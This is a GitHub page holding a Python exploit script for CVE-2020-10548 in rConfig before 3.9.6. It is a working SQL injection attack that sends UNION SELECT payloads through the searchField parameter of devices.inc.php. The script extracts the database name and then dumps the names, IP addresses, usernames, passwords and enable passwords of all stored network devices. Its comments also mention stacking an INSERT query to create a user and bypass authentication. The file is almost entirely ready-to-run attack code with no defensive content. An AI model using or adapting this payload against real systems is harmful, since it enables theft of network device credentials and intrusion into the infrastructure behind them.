

master

...

exploits / CVE-2020-10548.py / <> Jump to

theguly rconfig

History

1 contributor

68 lines (57 sloc) | 2.27 KB

...

```

1  #!/usr/bin/python3
2  # CVE-2020-10548
3  # author https://github.com/theguly/
4  #
5  # this method is very similar to one already published by v1kingfr for his CVE-2020-10220 (https://github.com/v1kingfr/exploits-rconfig)
6  # as he published, because of PDO DB Class SNAFU, you could also stack two queries having a plain INSERT and achieve auth bypass by creating a new user
7  #
8  # i wanted to have different py script foreach CVE, to have a proper listing on github.
9  # i'd prefer a all-in-one script with proper align for the different union arguments, but i expect i won't use this script anymore so i'll deal with it.
10 #
11 # tested with rConfig < 3.9.6
12
13 import sys
14 import requests
15 import urllib3
16 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17
18 bur1 = """devices.inc.php?search=True&searchField=antani'+%s&searchColumn=n.id&searchOption=contains"""
19 ulen = 10
20
21 if len(sys.argv) < 2:
22     print('use: ./{} target'.format(sys.argv[0]))
23     print('./{} https://1.2.3.4/'.format(sys.argv[0]))
24     sys.exit()
25
26 url = sys.argv[1] + bur1
27
28 s = requests.Session()
29 s.verify = False
30
31 def getInfo(purl):
32     r = s.get(purl)
33     if '[PWN]' in str(r.text):
34         ret = str(r.text).split('[PWN]')[1]
35         return ret
36     else:
37         return False
38
39 def askContinue(msg):
40     c = input('[ - ] ' + msg + ' (Y/n)')
41     if 'n' in c.lower():
42         sys.exit()
43
44 # find current db name
45 print("[+] extracting rconfig db: ", end='')
46 payload = "union+select+(select+concat(0x223E3C42523E5B50574E5D,database()),0x5B50574E5D3C42523E)+limit+0,1)"+",NULL" * (ulen - 1) + "+--+ "
47 purl = url % payload
48 dbname = getInfo(purl)
49 print(dbname)
50
51 # dump all devices ip,username,password,enablepass
52 print("[+] dumping nodes: ")
53 print('devicename:ip:username:password:enablepass')
54 print('-----')
55 i=0
56 while True:
57     if i > 0 and not i % 10:
58         askContinue('Continue?')
59
60     payload = "union+all+select+(select+concat(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)+limit+0,1)"+",NULL" * (ulen - 1) + "+--+ "
61     purl = url % payload
62     n = getInfo(purl)
63     if not n:
64         askContinue('it could be possible that we don\'t have more devices. continue?')
65     print(n)
66     i = i + 1
67
68 sys.exit()

```